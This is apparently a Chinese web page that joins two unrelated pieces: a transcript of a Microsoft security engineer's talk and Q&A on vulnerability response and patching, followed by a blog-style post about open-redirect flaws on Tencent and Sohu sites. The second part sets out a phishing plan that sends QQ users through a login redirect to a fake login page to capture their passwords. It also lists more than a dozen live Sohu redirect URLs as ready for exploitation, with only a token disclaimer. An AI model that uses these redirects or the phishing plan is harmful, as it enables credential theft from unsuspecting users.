特别我想跟大家说一下微软安全漏洞响应流程,我们有一个邮箱地址,如果你有安全漏洞可以发邮件。我们相关团队对问题进行分析评估。相关团队包括两部分,第一部分就是我们组。第二组就是产品组。产品组根据我们意见看他们所有组有没有这样的问题。我们收到报告,我们验证这个地方确实是否有安全漏洞。产品组就要负责对所有版本都要检查,然后给我们汇报过来。因为我们组熟悉安全,产品组熟悉产品,两个组一起对这个问题进行评估。另一方面,是寻找安全漏洞变种和攻击方式。看到一个安全漏洞,但有可能发现5个、10 个、20个漏洞的变种。然后就是一个修补计划。Windows SE组专门负责修补计划发布,代码的修改要经过我们组和产品组复查。还有一个就是缓解和变动。不管你怎么努力,你的产品中的代码是会有问题的,或者你的设计会有问题的,导致产品的安全漏洞是不可避免的。比如我有一个功能存在安全漏洞,但是这个功能在缺省安装上并没有被打开,比如这个安全漏洞是一个服务程序的安全漏洞,在缺省配置情况下这个服务没有被打开,这中情况下会会有效降低安全漏洞危害级别。这个是我们称为缓解概念。还有一个变通概念,用户并不想打补丁,可不可以通过命令行或者可不可以通过只是限制文件访问权限,或修改注册表,导致这个安全漏洞可以不能被利用,这个也是很关键的概念。我们把缓解和变通反馈给用户。给大家举一个例子,OFFICE的例子,大家知道OFFICE2003以前的版本安全漏洞,用户如果出现问题,他只有两个办法,第一,必须赶紧打安全补丁。第二,如果不打安全补丁,你就不能打开doc文件。我们没有一个很好的缓解和变通说法。你要么打安全补丁、要么不要使用OFFICE产品。 OFFICE2003现在有MOICE这个功能,就可以很大程度减低安全漏洞的危害。最后一个是补丁发布。补丁发布很大的问题是兼容性的问题,一个补丁要过若干测试,看许多应用程序是否兼容。就是这样我们还是发现补丁发布后的兼容性问题。

我就讲到这里。如果你感兴趣的话,可以访问我们组的blog。我们一直认为安全问题不能通过信息隐藏达到。黑客总是有办法得信息,我们希望通过这个blog把我们能够公布的信息给大家。我主要就说到这里。

以下是现场问答部分:

问:你们有没有碰到针对发布方面的攻击?他们采取一些方式防止你们打补丁,碰到这种问题有没有什么好的解决方式。攻击人员分析漏洞一边是汇编级,你怎么定位成是什么地方代码,因为Windows代码也比较多。直接用汇集定位到代码问题。另外,每次程序崩溃后,可能会产生一些错误信息,提供当前什么地方出错。从我们现在来看,凡是碰到这个东西的时候,从这个地方看不出什么地方出问题,是更上一层导致的,这个东西对你们用处比较大吗?

褚诚云:第一个问题,我们有没有碰到补丁没法被用户下载或者直接利用的情况。这个问题是碰到过的,当你从Windows更新下载的时候,有一个反馈的过程。多少人执行完这个补丁是成功执行,多少人没有成功利用这个补丁,这个数据是有的。对每个数据我们都会分析。我现在记不清具体门槛是多少,假如一个补丁下载100万次,有5%即使下载了,但是不能成功打上。我们就有专人负责研究为什么不能打上补丁,而且这个数据是可以通过Windows更新拿到。

第二个问题,怎么从汇编代码确定源代码问题,首先源代码不是公开的,我们收到所有报告都是根据汇编代码累计的,或者有人直接POC,这是我们一般收到的漏洞报告。通过Symbol文件,就可以从汇编代码来确定对应的源代码。假设你自己的程序,当你收到外面一个反馈,你也可以确定哪一行程序的崩溃。

第三个问题,Crash Dump是非常有用的。通过Crash Dump,你可以确定知道哪里出错。可以说我们很多情况都是依照错误信息来研究的。

问:刚才你说到某一些部门不愿意推行安全SDL,你怎么处理?第二,我们经常会收到一些不是关于安全的问题,你们如何区分和排除?

褚诚云:第一个问题,当然是有。作为产品开发组,总有自己的要求、自己的客户、自己的开发计划。SDL对他们来说,一开始是额外的东西。所以要SDL的实施,你必须要有权力。如果你没有权力的话,你只能建议。当然我们不希望在很多情况下发生强制,我们不希望我们变成经常要说不。第二,在很多情况你不需要这种权力,可以通过培训方式改变观念。所有开发人员必须接受安全培训,例如为什么要注重安全漏洞。经过这么多年,微软观念已经被扭转了。SDL的观念已经被产品开发组接受。第二个问题,有没有垃圾信息,有。有没有办法,没有特别的办法。邮件过滤最大的问题就是怕过滤掉有效信息。如果一个有用信息被当做垃圾邮件过滤掉,这是我们无法承受的。所以我们是专门有人看的。

问:我这边有两个问题:第一,我们知道很多补丁发布的时候,黑客会通过补丁对比技术,到底产品问题在哪里。这样就存在一个问题,很多用户来不及打补丁,但是补丁发布后造成一些黑客通过补丁对比技术知道漏洞在哪里,然后写出一些办法。微软对补丁发布这块这种现象有没有一种保护措施?第二,刚才提到VS2005有一些工具对代码检查,后期测试也有一些工具,我想问一下这些工具我们从外部能够拿到吗?大概有哪些工具可以推荐给我们院?

褚诚云:第一个问题,这个我们都知道,如果对一个比较简单的补丁做对比,一天、半天就可以做到。我们有没有想过这个问题?想过,但是我们决定不这样做。你可以把补丁搞得比较麻烦。更大的问题是这个没有效果。不管你用什么样的技术,实际上是没有用处的。这是我们的观点。安全永远是不可能通过信息隐藏来得到,这是我们一直认为的观点。第二,根据现在趋势,一旦补丁发布的话,几天之微软可以分析有多少用户打了补丁。至于没有打补丁的用户,我们只好加强安全教育。而且每个补丁,我们尽可能提供workaround。即使你在补丁上加加密技术,也是阻止不了黑客。而且你看到微软所有程序也没有采用加壳技术,这也是微软一贯的风格。

第二,有关工具的问题。微软有很多内部工具,一个工具作为内部使用到一个工具可以公开发行,这是有一段距离。我们有很多内部工具,并没有公开发布。Visual Studio Team Edition里面提供了代码的静态分析程序。

问:我现在面临一个问题,我们在补丁发放时都培训过,问题是重启机器会带来很多问题,因为我们的应用不能说停就停,这样就存在出现时间差的机率非常大。微软有没有对这些方案解决的?

褚诚云:我想老的操作系统就没有办法完全解决这个问题。比如我要对核心dll修改,你就必须重新启动。你可以考虑workaround,可以保证你的系统暂时不受影响,当你什么时候维护的时候可以再重新启动。另外,可以考虑负载均衡,load balance。例如假设一个功能是由八个服务器共同服务的。这次两个服务器打上补丁,再打下面两个,这样不影响整个系统运行。

问:我多次听你说到VISTA有比较多安全改进,VISTA SP1相对2003、SP有什么安全漏洞方面的改进?

褚诚云:我先说2003、XP。2003是server,和XP针对的用户不一样。例如IE 用在2003上,你会发现IE功能限制的很厉害。按理说你不应该在你的服务器上去访问随意的网站。否则你需要的话,这是一个很大的问题。至于 Windows Vista,提供了许多安全的改进。例如DEP,ASLR等等。在Windows Vista下的缓存溢出的安全漏洞的利用,要困难很多。

问:我更关心DEP防溢出有没有改进?

褚诚云:要利用缓存溢出漏洞。在VISTA不是很容易实现。DEP只是其中的一个安全功能。Windows Vista中有若干个功能合在一起,例如GS,SEH,ALSR,DEP。

原文地址:http://tech.qq.com/a/20080320/000258.htm

腾讯体验中心跨站漏洞及利用想法

直接进入体验中心的地址是http://exp.qq.com/若体验里边的测试内容,需先登录QQ才可以继续填写体验申请表,在登录的过程发现这个:
http://exp.qq.com/cgi-bin/present/tec_cgi_go_signin?redirect=
http://exp.qq.com/cgi-bin/present/tec_cgi_present_plan_info%3Fplan_id%3D90

地址,很好,后边的应该就是我直接申请体验情况下,而没有让我填写体验表却跳转到登录界面的地址啦,而这个地址会在我登录完QQ后跳转进入。

想想看我直接吧后边的地址换成我的主页地址如:http://exp.qq.com/cgi-bin/present/tec_cgi_go_signin?redirect=
http://clin003.com

这个地址是有效的,即使刷新也同样有效。

如图

腾讯体验中心跨站利用

如果后边我的主页地址更有欺骗性(很像QQ的?或者直接编码)些,我在制作个很像体验中心登录页面的页面?我会提示什么验证码错误之类的错误,然后是不是会有好多人重新登陆QQ号啊,然后他并没有发现这个已经不是开始的哪个页面啦,如果把这个QQ号带密码发回后让他转向到体验中心去填问卷不至于人家产生怀疑

腾讯体验中心跨站利用-欺骗页面


搜狐营销广告服务跨站漏洞[doc.go.sohu.com*url=]

看看下边这个转向到哪里啦http://doc.go.sohu.com/200712/6e97cd2fea9a0f8ac95439405c4ca95a.php?url=http://clin003.com

以下为查到的包含漏洞的页面(仅仅通过搜索引擎的索引结果)

这些链接在sohu都是在flash文件广告中的,所以baidu是搜不出来的,因为google的蜘蛛已经可以读flash文件中的部分文本啦,使用这个关键字搜索google就可以:site:sohu.com [doc.go.sohu.com*url=]
sohu.com 上约有 15 项符合[doc.go.sohu.com*url=]的查询结果,以下是第 1 - 10 项 (搜索用时 0.24 秒)
显然在club中出现的是已经利用的链接,下面的flash和专题新闻中的才是sohu真正使用的链接形式。

百度中找 doc.go.sohu.com url你将发现已经有很多利用的“恶意链接”啦,百度一下,找到相关网页约905篇,用时0.001秒

google中找[doc.go.sohu.com*url=],约有1,390项符合[doc.go.sohu.com*url=]的查询结果,以下是第110 ,不过google中部分标有“该网站可能含有恶意软件,有可能会危害您的电脑。”。

漏洞的成因很可能就是设计广告跳转记录代码的工作人员为啦以后方便使用就这样写啦个“通用代码”而没想到被发现会造成多少信任搜狐的网民受伤!!

以下是通过搜索引擎得到的部分可以利用的链接(请学习为目的,不要拿去害人)

http://doc.go.sohu.com/200801/5cb05572fda7c20a914842413d61ae7d.php?url=

http://doc.go.sohu.com/200712/d82c5aba39716d4eb8152d976a2da482.php?url=

http://doc.go.sohu.com/200712/e49df42d95615e85312aa0d030a2e552.php?url=
http://doc.go.sohu.com/200710/91e2420557be06fc6b4db18e6c7e43b8.php?url=

http://doc.go.sohu.com/200709/fd89d3a23c26c83163939a489fac349b.php?url=

http://doc.go.sohu.com/200708/adf56d76ba663e3db61b83e84384a141.php?url=

http://doc.go.sohu.com/200707/9b5c09c5c3cb8d856393a150683a5d92.php?

url=

http://doc.go.sohu.com/200706/fa9cda8c2a8455dc7e69465a16d48565.php?url=

http://doc.go.sohu.com/200706/1a22b9706f5ee9794ee29582de28d8a7.php?url=
http://doc.go.sohu.com/200705/df7fe00bc4bdb3ab1891dd6be56aa73a.php?url=

http://doc.go.sohu.com/200704/92d82b0a5606d9025e44b161597c0180.php?url=

http://doc.go.sohu.com/200704/cb19f7e8aa1d533134eea9c1197c423b.php?url=

http://doc.go.sohu.com/200703/e463ac8934207e079c5500ebddf964e1.php?url=

http://doc.go.sohu.com/200702/4788bbdf19b48e08a119cea260a63aaf.php?url=